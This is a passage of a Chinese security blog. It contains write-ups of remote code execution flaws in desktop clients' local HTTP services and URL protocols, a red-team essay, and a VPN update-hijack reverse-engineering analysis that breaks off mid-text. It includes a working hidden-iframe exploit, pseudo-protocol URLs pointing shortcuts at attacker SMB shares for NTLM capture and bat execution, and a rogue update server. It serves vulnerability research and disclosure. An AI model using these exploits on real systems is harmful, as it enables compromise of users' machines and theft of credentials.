<p>具体的逻辑可以下图,我们找到赋值关系最终确认一切的参数来源都是<code>Block</code>,该值是一个全局变量,那么根据当前的环境我们就可以猜测此处的来源就是HTTP请求参数。</p> <p><img src="/images/2023-12-18/16680711304718.jpg" alt="" /></p> <p>根据猜测,我们可以先使用OD附加进程在<code>ShellExecuteA</code>函数处下断点。</p> <p>然后请求URL:<code>http://127.0.0.1:38230/api_install?file=cmd.exe&amp;param=/k%20notepad</code>,我们就会在OD界面中看见端点到<code>ShellExecuteA</code>函数了,我们可以通过栈来看一下传参是什么。</p> <p>如下所示我们发现<code>ShellExecuteA</code>函数的参数<code>FileName</code>和<code>Parameters</code>是一串乱码的内容,这应该是我们输入的字符串经过了某些处理后导致的。</p> <p><img src="/images/2023-12-18/16681317190938.jpg" alt="" /></p> <p>因此我们可以在URI<code>/api_install</code>对应处理的函数起始位置下断点一步一步跟进看一下我们请求的参数值是否真的带进来了,如果带进来了为什么最终值会变成一段乱码的数据。</p> <p>如下图OD中可以看见我们的请求参数<code>file</code>的值<code>cmd.exe</code>确实可以带进来,这也就验证了我们的猜想,<code>ShellExecuteA</code>函数的参数是来源于HTTP请求参数。</p> <p><img src="/images/2023-12-18/16681356708499.jpg" alt="" /></p> <p>接着走下去我们会发现调用如下函数时的参数就是我们的请求参数<code>file</code>和对应值<code>cmd.exe</code>,当该函数执行完成之后返回到EAX寄存器,我们跟进EAX寄存器的地址查看数据就会发现数据为乱码内容,也就是我们在<code>ShellExecuteA</code>函数断点处看见的参数。</p> <pre><code class="language-asm">push esi push eax call UserClie.004203B0 </code></pre> <p><img src="/images/2023-12-18/16681358274356.jpg" alt="" /></p> <p>所以我们可以跟进函数<code>004203B0</code>在IDA中看一下它具体做了什么,这样我们才能构造请求让真正的字符串带入到<code>ShellExecuteA</code>函数中执行。</p> <p>在这之前我们需要注意,由于IDA和实际进程执行的基址不同,我们可以在OD中找到进程基址然后将IDA对应的基址修改为进程的,这样我们就可以直接跟进函数<code>004203B0</code>,而不需要再去进行地址的换算。</p> <p>在IDA中跟进函数<code>004203B0</code>,它实际上也是调用的另外一个函数<code>00370C70</code>,在该函数里对字符串进行位移转换,猜测可能是自定义的解码方式。但是在它进行遍历的过程中使用到了一段数组数据<code>word_74E940</code>,我们跟进这个数据之后发现似乎是一张解码表。</p> <p><img src="/images/2023-12-18/16681457115844.jpg" alt="" /></p> <p>如下将整段数据罗列出来,看着与Base64解码所需要的解码表是一致的,所以此处极有可能就是Base64解码操作,将我们的输入的字符串<code>cmd.exe</code>进行解码,最终就变成了乱码。</p> <p>我们可以将<code>cmd.exe</code>字符串进行Base64解码,发现结果确实为我们之前所看到的乱码内容:</p> <p><img src="/images/2023-12-18/16681461174700.jpg" alt="" /></p> <p>最终我们也就确定了这里的请求参数值是需要先进行Base64编码之后再带入请求的。因此我们可以构建出如下Exploit,当安装了该客户端的应用打开Exp代码对应页面时,即可以执行我们想要的命令。</p> <pre><code class="language-html">&lt;iframe src="http://127.0.0.1:38230/api_install?file=Y21kLmV4ZQ==&amp;param=L2sgbm90ZXBhZA==" width="0px" height="0px"&gt; </code></pre> <p><img src="/images/2023-12-18/17028770589143.jpg" alt="" /></p> <h5 id="某视频软件客户端">某视频软件客户端</h5> <p>通过URLProtocolView找到视频软件客户端注册的伪协议:<code>xxplayer://</code>,通过字符串定位程序伪协议的处理功能点,也可以知道有哪些的伪协议路由。</p> <p><img src="/images/2023-12-18/17028774570110.jpg" alt="" /></p> <p><img src="/images/2023-12-18/17028774924444.jpg" alt="" /></p> <p>发现这里可以通过<code>xxplayer://action.cmd/xxx</code>的方式来触发一些功能,所有功能列表如下所示:</p> <pre><code>xxplayer://action.cmd/playShareVideo xxplayer://action.cmd/play xxplayer://action.cmd/downloadvideo xxplayer://action.cmd/downloadpage xxplayer://action.cmd/downloadShareVideo xxplayer://action.cmd/createshortcut_url xxplayer://action.cmd/createshortcut xxplayer://action.cmd/activeHomepage </code></pre> <p>根据字面意思理解它的作用即可,这里我们一个一个带入请求尝试,发现当请求<code>createshortcut_url</code>时会在桌面创建<code>.link</code>的快捷方式文件。</p> <p>我们跟进这个创建快捷方式的逻辑,发现实际上它还有两个参数:<code>url</code>、<code>name</code>:</p> <p><img src="/images/2023-12-18/16756111480279.jpg" alt="" /></p> <p>然后将这两个参数值带入<code>CreateUrlShortcut</code>函数执行,这个函数是导入函数,就是用于创建桌面快捷方式的。</p> <p><img src="/images/2023-12-18/16756112003388.jpg" alt="" /></p> <p>因此我们可以构建伪协议URL:<code>xxplayer://action.cmd/createshortcut_url?url=http://www.baidu.com&amp;name=Test</code>,访问就发现它创建了一个名为<code>Test</code>的快捷方式,目标为:<code>C:\xxplayer.exe \UrlQuickLunch=http://www.baidu.com,0</code>,也就表示我们传入的<code>url</code>参数值变成了启动参数,<code>name</code>参数值变成了快捷方式名字。</p> <p><img src="/images/2023-12-18/17028772674438.jpg" alt="" /></p> <p>当我们双击这个快捷方式时,就会调用浏览器打开<code>http://www.baidu.com</code>。</p> <p>接着我们发现只要<code>url</code>参数值为<code>xxx://xxx.xxx/</code>的格式即可,那么我们尝试将<code>url</code>参数值修改为<code>file://172.16.176.176/netntlm</code>,也就变成这样:<code>xxplayer://action.cmd/createshortcut_url?url=file://172.16.176.176/netntlm&amp;name=123</code>,在机器上<code>responder</code>监听一下,当打开快捷方式时收到了NTLM Hash:</p> <p><img src="/images/2023-12-18/16756130536051.jpg" alt="" /></p> <p>除了获取NTLM Hash,我们还可以在Ubuntu上开一个SMB服务,然后将<code>url</code>参数设为使用<code>\\172.16.176.176\share\Test.exe</code>,使用快捷方式打开共享文件,发现确实可以打开EXE文件,但是会有文件信任的安全警告(Mark-of-the-Web)。</p> <p><img src="/images/2023-12-18/16756160973381.jpg" alt="" /></p> <p>这里可以通过<code>jar</code>文件形式去绕过,打包一个打开计算器的Jar包放在共享目录下,然后将<code>url</code>参数设为使用<code>\\172.16.176.176\share\1.jar</code>。</p> <p><img src="/images/2023-12-18/16756162884409.jpg" alt="" /></p> <p>访问<code>xxplayer://action.cmd/createshortcut_url?url=\\172.16.176.225\share\1.jar&amp;name=123</code>,创建快捷方式,打开快捷方式,执行Jar包启动计算器,这样我们就实现了1 Click执行任意命令。</p> <p><img src="/images/2023-12-18/17028772455266.jpg" alt="" /></p> <p>使用远程Jar包的方式来达到任意命令执行还是有局限性,如果目标机器不存在Java环境就无法执行,因此在对文件信任机制的研究发现在<code>smb</code>共享文件中打开<code>zip</code>压缩包内的<code>bat</code>文件,不会有任何弹窗提示直接执行<code>bat</code>文件内容。</p> <p>因此我们可以在共享文件夹中创建<code>1.zip</code>,放入内容为<code>calc</code>的<code>1.bat</code>文件。</p> <p><img src="/images/2023-12-18/16756704688552.jpg" alt="" /></p> <p>将<code>url</code>参数值设为<code>\\172.16.176.225\share\1.zip\1.bat</code>,然后访问<code>xxplayer://action.cmd/createshortcut_url?url=\\172.16.176.225\share\1.zip\1.bat&amp;name=123</code>创建桌面快捷方式,打开快捷方式即可执行<code>bat</code>文件,最终达到不需要任何依赖的情况下执行任意命令。</p> <p><img src="/images/2023-12-18/17028772348064.jpg" alt="" /></p> <h2 id="总结">总结</h2> <p>简单总结一下以上两类客户端的攻击入口、RCE风险和影响面。</p> <p><img src="/images/2023-12-18/17028779762348.jpg" alt="" /></p> <p><img src="/images/2023-12-18/17028780061810.jpg" alt="" /></p> <p>关于客户端本地开启的网络协议问题,我总结出如下几步可以快速的进行漏洞发现:</p> <ol> <li>找到客户端启动的本地网络服务(TCP、UDP),这个可以用火绒剑或者CMD的方式查看;</li> <li>有本地监听的情况下,找到对应的程序以及加载的DLL,通过IDA根据端口号找到监听的点,如果是C/C++的程序一般找bind这个函数就能快速定位到;</li> <li>向上回溯找调用链,并根据网络服务的返回结果,例如HTTP访问会有一段字符串或者响应头的一些字符串,定位到代码处理逻辑;</li> <li>如果逻辑对应上了,那就接着找程序的导入表是否存在敏感的函数,例如:CreateProcess、WinExec、ShellExec,如果存在则可以向上回溯看看是否与网络服务监听点有联系;</li> <li>当条件都满足的时候就想尽办法,通过断点调试等操作,找传参或数据传输格式,看看可控内容是否可达敏感的函数处;</li> <li>根据代码逻辑构造PoC触发漏洞,并尝试武器化利用。</li> </ol> <h2 id="致谢">致谢</h2> <p>在文章的最后,我要感谢公司部门领导和同事对本议题的贡献和帮助(以下排名不分先后),感谢字节跳动安全中心对于本次沙龙的筹办和策划。</p> <p><img src="/images/2023-12-18/17028782795487.jpg" alt="" /></p>

2023/12/18
閱讀更多

我眼中的红队

<h1 id="我眼中的红队">我眼中的红队</h1> <p>碎语闲谈,作为一名多年的十八线红队选手一直想写一篇文章来总结下“我眼中的红队”,之前写过一点,因文笔拙劣遂删除,起本文重写。</p> <h2 id="什么是红队">什么是红队</h2> <p>现如今是数字化时代,万物联网创造了一个新的空间,即网络空间,网络空间的安全也上升到了国家安全层面,并且网络已经成为国家继海、陆、空、天之后的第五大主权领域空间。</p> <p>正是如此,网络空间也就如传统领域空间一样,需要通过演习对抗的模式,提升网络安全防御能力,以攻促防,知攻善防。</p> <p>攻防双方在演习中通常称之为红队(Red Team)和蓝队(Blue Team),红队(Red Team)即攻击方,穷尽方法攻击以达到获取演习靶标权限的目的。</p> <h2 id="红队攻击流程">红队攻击流程</h2> <p>红队的攻击流程大致分为4个步骤,分别是制定战术、外网打点、内网横向、结果报告。</p> <p><strong>制定战术</strong>:根据演习规则及目标结合自身优点制定攻击战术,以保证演习过程不盲目、不混乱,有条不紊的完成演习;</p> <p><strong>外网打点</strong>:通过漏洞、供应链、社工、近源等手段对目标暴露面进行攻击,以此打开进入目标内网的入口;</p> <p><strong>内网横向</strong>:通过信息收集、分析、关联,结合相关漏洞及密码对内网可达网段机器进行横向攻击,以此发现更多脆弱点或接近内网的演习靶标;</p> <p><strong>结果报告</strong>:将红队攻击过程、所涉技术手段、攻击痕迹等信息进行整理,形成文档提交至演习平台,并且便于后续复盘。</p> <h2 id="红队成员结构">红队成员结构</h2> <p>通常在攻防演习中,主办方都是要求现场红队成员有三位,按照我的理解这三位应该是:队长、渗透师、横向师。</p> <p><strong>队长</strong>:技术综合能力较强,具备较好的团队协作、组织、应变、沟通能力,能有条理的安排演习任务,并且在演习结果上报后有争议时与裁判进行沟通;</p> <p><strong>渗透师</strong>:前渗透能力较强,也就是侧重于信息收集、Web漏洞黑盒挖掘及代码审计能力,在拿到目标信息后能够快速的找到脆弱资产,撕开暴露面入口以供后渗透;</p> <p><strong>横向师</strong>:后渗透能力较强,也就是侧重于木马免杀、权限维持及漏洞利用能力,当具有暴露面入口时能够通过它对内网进行持续性的脆弱点发现。</p> <p>当然,目标往往是美好的,现实却是残酷的,在演习中真正的红队成员都应该具备这三种能力,才能应对这万变的局面。</p> <h2 id="红队基础设施">红队基础设施</h2> <p>红队的基础设施,我将其分为三大块:人员、武器库、漏洞库。</p> <p><strong>人员</strong>:万事皆以人为本,红队的基础设施也离不开人,优秀的伙伴可以让你在演习过程中更舒心,而人员通常是最难解决的,大部分都是通过外部招聘的形式引入技术人才,或培养初入职场的学生;</p> <p><strong>武器库</strong>:武器库在我的理解中,就是一切皆自动化或自主化,信息收集、邮件钓鱼、木马免杀的自动化,以及C2、Webshell管理工具的自主化,这都是最基础的一些;</p> <p><strong>漏洞库</strong>:漏洞库即0day、1day这些漏洞的利用,例如SQL注入不应只是注入,而是要结合SQL注入直接获取目标站点权限,无论你是结合SQL注入获取密码再进入后台进行文件上传获取权限,还是SQL注入直接堆叠执行命令获取权限,简而言之,漏洞只是开始,通过漏洞获取权限才是漏洞库所需要的,这也是大家通常所说的漏洞武器化。</p> <h2 id="红队结果复盘">红队结果复盘</h2> <p>在进行一场演习之后,红队应结合演习结果进行复盘,主要围绕这几个方面:演习结果的总结、红队成员的分工、演习过程的问题。</p> <p><strong>演习结果的总结</strong>:对演习上报的结果进行总结,梳理出攻击技术及相关路径;</p> <p><strong>红队成员的分工</strong>:明确每个成员的分工,并且结合成果来看分工的落实程度;</p> <p><strong>演习过程的问题</strong>:总结演习过程中发现的问题,找出问题产生的原因,有解决方案的提出解决方案,没有的就复盘会上进行交流。</p>

2022/8/18
閱讀更多

某VPN客户端远程下载文件执行模拟逆向分析

<h1 id="某vpn客户端远程下载文件执行模拟逆向分析">某VPN客户端远程下载文件执行模拟逆向分析</h1> <h2 id="前言">前言</h2> <p>2021年3月,我通过黑盒的方式挖掘出某VPN客户端的远程下载文件执行漏洞,其原理就是通过VPN客户端本身所开启的Web服务API接口修改客户端更新请求地址,继而通过API控制客户端程序进行自动请求更新,导致客户端下载我自定义的更新程序,并运行。</p> <p>黑盒侧的漏洞挖掘往往带有许多的不确定性,所以我尝试从白盒(逆向)侧的角度去入手分析该漏洞的形成,并以此为基础形成对这种漏洞的模型记忆,并且在后续的研究中也用类似思路对其他VPN客户端进行漏洞挖掘,成果还算不错。</p> <p><strong>注</strong>:文中可能会存在笔误或描述不准确等错误,还望各位不吝赐教,多多斧正。</p> <h2 id="黑盒侧">黑盒侧</h2> <p>在正式逆向之前,建议读者先阅读一下黑盒侧的漏洞挖掘过程,如若读者已经熟知该漏洞,可越过该章节直接阅读「逆向侧」章节内容。</p> <h3 id="漏洞回顾">漏洞回顾</h3> <p>随便找一个地方下载VPN客户端下载安装。</p> <p>安装完之后访问VPN的页面,发现VPN会自动下载组件更新:</p> <p><img src="/images/2021-05-05/Pasted%20image%2020211010234406.png" alt="" /></p> <p>这之间也许是因为存在着某些联系,可以深入的看一下。</p> <h4 id="对本地的访问">对本地的访问</h4> <p>重现上述问题,通过<code>F12</code>发现当访问VPN的登陆页面会对本地<code>127.0.0.1</code>进行HTTP(s)请求:</p> <p><img src="/images/2021-05-05/Pasted%20image%2020211010234412.png" alt="" /></p> <p>这些请求均为GET请求并附带着一些参数,我把它一一列下来:</p> <p><img src="/images/2021-05-05/Pasted%20image%2020211010234418.png" alt="" /></p> <p>本地来看一下这个<code>54530</code>端口对应的进程是什么:</p> <p><img src="/images/2021-05-05/Pasted%20image%2020211010234423.png" alt="" /></p> <p>发现这个端口是ECAgent.exe开启的,寻找到对应进程文件所在位置:</p> <p><img src="/images/2021-05-05/Pasted%20image%2020211010234430.png" alt="" /></p> <p>确认这是XXX SSLVPN的程序,那么就可以将两者联系到一起,访问VPN登录首页会触发对<code>127.0.0.1</code>的访问从而引起VPN进行组件更新。</p> <h4 id="更新地址可控">更新地址可控</h4> <p>通过以上的分析可以猜测整个大致流程,但我设想一下如果我可以控制本地的更新指向我的服务器,然后将更新的组件内容替换成恶意程序,当程序启动的时候就启动了恶意程序,这样我可以拿到安装VPN客户端的使用者PC权限。</p> <p>再回到之前的本地链接列表,根据对英文的理解,参数op的值应该为其具体对应要执行的动作:</p> <pre><code>InitECAgent -&gt; 初始化 GetEncryptKey -&gt; 获取加密密钥 DoConfigure -&gt; 配置 CheckReLogin -&gt; 检查重新登录 CheckProxySetting -&gt; 检查代理设置 UpdateControls -&gt; 更新控制 DoQueryService -&gt; 查询服务 </code></pre> <p>第一个初始化的请求存在可控参数arg1:</p> <pre><code>https://127.0.0.1:54530/ECAgent/?op=InitECAgent&amp;arg1=XXX%20443&amp;callback=EA_cb10000 </code></pre> <p>参数<code>arg1=XXX%20443</code>,对应值也就是HOST+空格+端口的格式,看到这里基本上就会有一个思路,客户端更新控件是不是根据这个指定值向其发送请求更新的呢?我可以只替换第一个初始化请求的arg1参数为<code>172.20.10.2 8000</code>,然后本地搭建一个HTTP服务:</p> <pre><code class="language-python">python -m SimpleHTTPServer </code></pre> <p>其他的请求原封不动,依次请求一遍那一份URL列表(图为请求示例):</p> <p><img src="/images/2021-05-05/Pasted%20image%2020211010234440.png" alt="" /></p> <p>服务端成功收到请求,但是却出现了错误的提示:</p> <p><img src="/images/2021-05-05/Pasted%20image%2020211010234445.png" alt="" /></p> <p>首先我已经验证了自己的猜想,更新地址是自己可控的,客户端确实会向我指定的服务端发送请求,但由于出现了错误,我不知道客户端访问了哪个文件,也不知道访问文件之后做了什么动作。</p> <h4 id="服务搭建">服务搭建</h4> <p>现在要做的就是搭建一个客户端可以正常访问的请求,通过这个错误大致可以知道,我搭建的服务端协议和客户端请求使用的协议不一致,本机抓个包发现客户端请求的是 HTTPS 协议,这就需要搭建一个 HTTPS 服务了。</p> <p>如下脚本基于Python库建立一个 HTTPS 服务:</p> <pre><code class="language-python"># openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes import BaseHTTPServer, SimpleHTTPServer import ssl httpd = BaseHTTPServer.HTTPServer(('0.0.0.0', 8000), SimpleHTTPServer.SimpleHTTPRequestHandler) httpd.socket = ssl.wrap_socket (httpd.socket, certfile='./server.pem', server_side=True) httpd.serve_forever() </code></pre> <p>搭建起一个 HTTPS 环境后再次复现如上请求,服务端收到日志:</p> <p><img src="/images/2021-05-05/Pasted%20image%2020211010234455.png" alt="" /></p> <p>可以看见客户端会访问两个文件:</p> <pre><code>/com/WindowsModule.xml /com/win/XXXUD.exe </code></pre> <p>先不管xml文件是怎么样的,可执行文件(exe)是需要重视的,但是这里通过提示可以看出客户端发出的请求是POST请求,但我所写的Python脚本建立的HTTPS服务并不支持POST方法,我需要重写一下Handler:</p> <pre><code class="language-python">import BaseHTTPServer import SimpleHTTPServer import cgi import ssl class ServerHandler(SimpleHTTPServer.SimpleHTTPRequestHandler): def do_POST(self): form = cgi.FieldStorage() SimpleHTTPServer.SimpleHTTPRequestHandler.do_GET(self) Handler = ServerHandler httpd = BaseHTTPServer.HTTPServer(('0.0.0.0', 8000), Handler) httpd.socket = ssl.wrap_socket (httpd.socket, certfile='./server.pem', server_side=True) httpd.serve_forever() </code></pre> <p>最终如上脚本支持<code>POST</code>方法,当时用<code>POST</code>方法请求时即返回文件内容。</p> <p>最后,拖一个<code>calc.exe</code>(计算器)到HTTPS网站根目录下的<code>/com/win/XXXUD.exe</code>。</p> <p>依次请求(<strong>经过多次复现发现,这三个请求才是重点的,其他的可以忽略</strong>):</p> <pre><code class="language-http">https://127.0.0.1:54530/ECAgent/?op=InitECAgent&amp;arg1=172.20.10.2 8000&amp;callback=EA_cb10000 https://127.0.0.1:54530/ECAgent/?op=CheckReLogin&amp;arg1=3408a894633162c62188f98e92a221967dccfa5aafbd79b576714b4d1c392a4ad4b220d698efcd939c3b1b37467023e9380ee3abf0e492ee2efc736de757b80e973fe4c7d8af1af211a3f7ff3433cd9de975c76583efe7251dd1c0656f4384832998630359b65beb131cd8d287712462fa1b9e9acbc96dcc678b84cd57178c1a&amp;token=50065256e83ff1bb9e01757d0d22b669&amp;callback=EA_cb10003 https://127.0.0.1:54530/ECAgent/?op=UpdateControls&amp;arg1=BEFORELOGIN&amp;callback=EA_cb10005 </code></pre> <p>会发现客户端请求之后,将文件下载到本地并启动该程序,成功弹出计算器:</p> <p><img src="/images/2021-05-05/Pasted%20image%2020211010234504.png" alt="" /></p> <h2 id="白盒逆向侧">白盒(逆向)侧</h2> <p>我从白盒(逆向)侧的角度,带入Web漏洞挖掘思维,在不完全分析伪代码的情况下<strong>推理</strong>出漏洞。(仅尝试带入,非实战,不喜勿喷)</p> <h3 id="http服务的建立">HTTP服务的建立</h3> <h4 id="确定进程">确定进程</h4> <p>首先进行某客户端程序的安装并启动客户端程序,然后需要使用Process Hacker之类的工具查看进程树,根据某独有的特征关键词<code>XXX</code>找到打开的进程。</p> <p><img src="/images/2021-05-05/Pasted%20image%2020220302092752.png" alt="" /></p> <p>接着根据进程查看其是否启用了网络服务(端口开放),我找到了<code>ECAgent.exe</code>这个进程,并且观察到其启用了<code>54530</code>端口:</p> <p><img src="/images/2021-05-05/Pasted%20image%2020220301141006.png" alt="" /></p> <p>尝试以HTTP/HTTPS形式访问该端口,发现HTTPS访问有具体返回内容:</p> <p><img src="/images/2021-05-05/Pasted%20image%2020220302093515.png" alt="" /></p> <p>故此判断该进程所启用端口为HTTP服务。</p> <h4 id="寻找入口">寻找入口</h4> <p>现在需要找到程序开启HTTP服务的入口点,由此才能继续去跟进整个程序的逻辑,我第一时间想到的是加载的DLL文件,选择x32dbg附加进程查看其所加载的DLL文件:</p> <p><img src="/images/2021-05-05/Pasted%20image%2020220302132429.png" alt="" /></p> <p>这里有很多系统的DLL文件,可以略过,优先查看与<code>ECAgent.exe</code>有关联性的DLL文件,例如其同级目录下的几个DLL(也都被加载了):</p> <p><img src="/images/2021-05-05/Pasted%20image%2020220302132839.png" alt="" /></p> <p>通过IDA打开这些DLL文件,并使用关键词<code>127.0.0.1</code>、<code>0.0.0.0</code>、<code>54530</code>搜索相关数据,找到对应使用的代码(F5伪代码,如下图中函数地址不一致时因为我在调试过程中进行了REBASE):</p> <p><img src="/images/2021-05-05/Pasted%20image%2020220301141941.png" alt="" /></p> <p>如上图代码中,很明显这是WINSOCK编程的写法,其中的结构体<code>sockaddr</code>实际上等价于<code>sockaddr_in</code>,二者唯一的区别是<code>sockaddr_in</code>结构体有明确的成员去指定IP、端口,而<code>sockaddr</code>结构体则是使用成员<code>sa_data</code>(这是一个数组)去包含IP、端口之类的信息。</p> <p>如下图所示,就是一个两结构体之间的对应图,端口存放在<code>sa_data</code>的第0、1位,IP存放在<code>sa_data</code>的第2、3、4、5位:</p> <p><img src="/images/2021-05-05/Pasted%20image%2020220302134038.png" alt="" /></p> <p>但是在这里,实际环境中的代码对应的端口居然为0,实际测试,发现这样的赋值是无法创建成功的:</p> <p><img src="/images/2021-05-05/Pasted%20image%2020220302134453.png" alt="" /></p> <p>我陷入了沉思,莫非是找错位置了?并不是这个DLL文件去开启的Web服务?带着这一份沉思去找了很多个DLL,发现它们要么是0,要么就是其他端口,而不是对应的<code>54530</code>。</p> <p>在不断的试错之后,我发现了自己从未去看过<code>ECAgent.exe</code>本身,而尝试去<code>ECAgent.exe</code>搜索字符串时,也没有什么收获,于是想着既然一个DLL中用到了WINSOCK的库去创建SOCKET,那么应该都会这样去编写,所以尝试使用创建SOCKET服务特有的函数名<code>bind</code>去全局搜索,搜索结果如下图所示:</p> <p><img src="/images/2021-05-05/Pasted%20image%2020220302135614.png" alt="" /></p> <p>接下来就是一个一个函数跟进去查看,最终我发现了它<code>sub_47FD60</code>,如下图所示,<code>sub_47FD60</code>是创建SOCKET的函数,但是绑定的端口是入参,所以我需要找到调用该函数的函数,也就是<code>sub_47FEB0</code>,这个函数会使用一个循环,入参的端口也会随着循环递增(应该是为了防止端口冲突的情况),当创建SOCKET成功之后就直接返回。</p> <p><img src="/images/2021-05-05/Pasted%20image%2020220302140849.png" alt="" /></p> <p>将这段伪代码编译执行一下,输出结果,就发现第一个入参的端口是<code>54530</code>,并且理论上不会有其他的软件占用这个端口,所以,我认为<code>ECAgent.exe</code>的HTTP服务端口就是<code>54530</code>。</p> <h3 id="接口参数的处理逻辑">接口参数的处理逻辑</h3> <p>分析完HTTP服务的建立之后,我想要知道其具体如何处理请求参数,可以在此函数基础上继续回溯追踪调用链,但是这样的工作量是巨大的,不适合快速分析,所以我首先根据HTTP服务的响应字符串于IDA中搜索,再根据字符串的XREF,找到其对应使用到的函数:</p> <p><img src="/images/2021-05-05/Pasted%20image%2020220302180222.png" alt="" /></p> <p>如上图所示代码,大概意思就是有一个数组,存入了字符串和函数地址,根据入参进行类似对比,而后去调用函数。</p> <p>在这里第二个参数<code>a2</code>至关重要(它在条件判断、函数入参中都被使用到),所以我接着跟该函数的XREF,找到传递参数<code>v26</code>:</p> <p><img src="/images/2021-05-05/Pasted%20image%2020220303093911.png" alt="" /></p> <p>跟进处理过<code>v26</code>的函数,<code>sub_48E2C0</code>函数打开了世界的大门,根据其函数的输出字符串和代码,此函数大概表达意思就是去解析URL中的请求参数:</p> <p><img src="/images/2021-05-05/Pasted%20image%2020220303094307.png" alt="" /></p> <p>所以,这里我就可以列出这几个参数:</p> <pre><code>op token callback guid </code></pre> <p>将参数带入URL中,分别加上<code>123</code>参数值去访问:</p> <pre><code>https://127.0.0.1:54530/?op=123 https://127.0.0.1:54530/?token=123 https://127.0.0.1:54530/?callback=123 https://127.0.0.1:54530/?guid=123 </code></pre> <p><img src="/images/2021-05-05/Pasted%20image%2020220303100233.png" alt="" /></p> <p>如上图所示,请求参数<code>callback</code>有对应的反回信息,尝试进行XSS无果,接着在IDA中搜索<code>callback</code>字符串找找是否有对应的逻辑,发现了多个URL的地址:</p> <p><img src="/images/2021-05-05/Pasted%20image%2020220303102028.png" alt="" /></p> <p>这些URL地址证明了参数<code>op</code>、<code>token</code>、<code>callback</code>可以搭配在一块去请求使用,我于此处逐渐递减参数访问(考虑到<code>token</code>参数可能会存在鉴权等操作):</p> <pre><code>https://127.0.0.1:54530/?op=__restart_ecagent__&amp;token=123&amp;callback=123 https://127.0.0.1:54530/?op=__restart_ecagent__&amp;token=123 https://127.0.0.1:54530/?op=__restart_ecagent__ </code></pre> <p>最终发现,这三条请求都可以使得<code>ECAgent.exe</code>进程重启,而<code>op=__stop_ecagent__</code>则测试可以停止<code>ECAgent.exe</code>进程。</p> <h4 id="输入参数">输入参数</h4> <p>简单梳理完接口参数的处理逻辑之后,我对<code>op</code>值对应的函数都看了下,有很多函数无法通过静态的方式去分析,但根据字面意思也能理解个大概:</p> <pre><code class="language-c">v7 = "__check_alive__"; v8[0] = (int)sub_48F700; v8[1] = (int)"CheckRelogin"; // 检查重新登录 v8[2] = (int)sub_4935E0; v8[3] = (int)"DoConfigure"; // 做配置 v8[4] = (int)sub_490800; v8[5] = (int)"GetConfig"; // 获取配置 v8[6] = (int)sub_48FB30; v8[7] = (int)"InitECAgent"; // 初始化ECAgent v8[8] = (int)sub_48F720; v8[9] = (int)"GetEncryptKey"; // 获取加密key v8[10] = (int)sub_493540; v8[11] = (int)"Setter"; v8[12] = (int)sub_493960; v8[13] = (int)"Getter"; v8[14] = (int)sub_494190; v8[15] = (int)"__restart_ecagent__"; // 重启ECAgent v8[16] = (int)sub_4903E0; v8[17] = (int)"__stop_ecagent__"; // 停止ECAgent v8[18] = (int)sub_491510; v8[19] = (int)"DetectECAgent"; // 检测ECAgent v8[20] = (int)sub_48F6C0; </code></pre> <p>但有些操作肯定是需要另外一个参数去赋值配合的,所以我根据之前获取的参数列表在IDA中搜索字符串,我发现在这些参数中夹杂着一个双字<code>dd -&gt; Define Double Word</code>,IDA没有将它直接解析出来:</p> <p><img src="/images/2021-05-05/Pasted%20image%2020220304094407.png" alt="" /></p> <p>我选中它按下快捷键<code>A</code>将其转为字符串形式,得到了字符串<code>arg</code>:</p> <p><img src="/images/2021-05-05/Pasted%20image%2020220304095308.png" alt="" /></p> <p>既然是与参数在一块的,那么我也将其作为参数添加到URL中,并与添加参数之前的URL,分别请求对比响应:</p> <pre><code>https://127.0.0.1:54530/?op=CheckRelogin https://127.0.0.1:54530/?op=DoConfigure https://127.0.0.1:54530/?op=GetConfig https://127.0.0.1:54530/?op=InitECAgent https://127.0.0.1:54530/?op=GetEncryptKey https://127.0.0.1:54530/?op=CheckRelogin&amp;arg=123 https://127.0.0.1:54530/?op=DoConfigure&amp;arg=123 https://127.0.0.1:54530/?op=GetConfig&amp;arg=123 https://127.0.0.1:54530/?op=InitECAgent&amp;arg=123 https://127.0.0.1:54530/?op=GetEncryptKey&amp;arg=123 </code></pre> <p>CheckRelogin,添加前提示<code>invalid param count</code>,添加后就不提示:</p> <p><img src="/images/2021-05-05/Pasted%20image%2020220304111032.png" alt="" /></p> <p>DoConfigure,添加前返回为空,添加后返回有内容:</p> <p><img src="/images/2021-05-05/Pasted%20image%2020220304111231.png" alt="" /></p> <p>GetConfig,添加前返回有内容,添加后返回为空:</p> <p><img src="/images/2021-05-05/Pasted%20image%2020220304111325.png" alt="" /></p> <p>InitECAgent,添加前返回为空,添加后返回有内容,并提示<code>CSCM_EXIST, init ok</code>:</p> <p><img src="/images/2021-05-05/Pasted%20image%2020220304111430.png" alt="" /></p> <p>GetEncryptKey,添加前后返回内容没有变化:</p> <p><img src="/images/2021-05-05/Pasted%20image%2020220304132748.png" alt="" /></p> <p>根据对比, <code>arg</code>确实可以作为参数去请求,但具体是什么意义,还需要去看功能实现,由于我水平有限,在阅读静态代码时遇到很多坎,所以根据自己的大概理解,判断出该程序会输出Log日志。</p> <p><img src="/images/2021-05-05/Pasted%20image%2020220304112207.png" alt="" /></p> <p>于是在磁盘文件中去寻找Log文件,最终在<code>C:\Users\chen\AppData\Roaming\XXX\SSL\Log</code>中找到了输出日志:</p> <p><img src="/images/2021-05-05/Pasted%20image%2020220304112256.png" alt="" /></p> <p>根据<code>ECAgent.exe.log</code>日志记录可以看出程序处理的逻辑:</p> <p><img src="/images/2021-05-05/Pasted%20image%2020220304112633.png" alt="" /></p> <ol> <li>CheckRelogin对arg参数进行了解密;</li> <li>GetConfig根据arg参数进行读取配置;</li> <li>InitECAgent根据arg参数配置了VPN地址(HTTPS)。</li> </ol> <p>CheckRelogin解密正好对应着GetEncryptKey的返回加密信息,于是尝试带入并根据日志发现记录的信息不一样了,所以在这里我暂时将其搁置:</p> <p><img src="/images/2021-05-05/Pasted%20image%2020220304133139.png" alt="" /></p> <p>接着来看配置VPN客户端的服务地址,尝试请求如下地址,将服务器地址指向我的机器:</p> <pre><code>https://127.0.0.1:54530/?op=InitECAgent&amp;arg=172.20.10.3 </code></pre> <p>随后去请求其他<code>op</code>参数值的地址,偶然间发现请求如下地址(GetConfig的arg参数为0或字符串):</p> <pre><code>https://127.0.0.1:54530/?op=GetConfig&amp;arg=abc </code></pre> <p>VPN客户端会去请求<code>https://172.20.10.3/com/WindowsModule.xml</code>,如下图所示就是客户端请求服务端的HTTP日志:</p> <p><img src="/images/2021-05-05/Pasted%20image%2020220304125709.png" alt="" /></p> <p>并且会将该文件的XML格式转为JSON格式输出:</p> <p><img 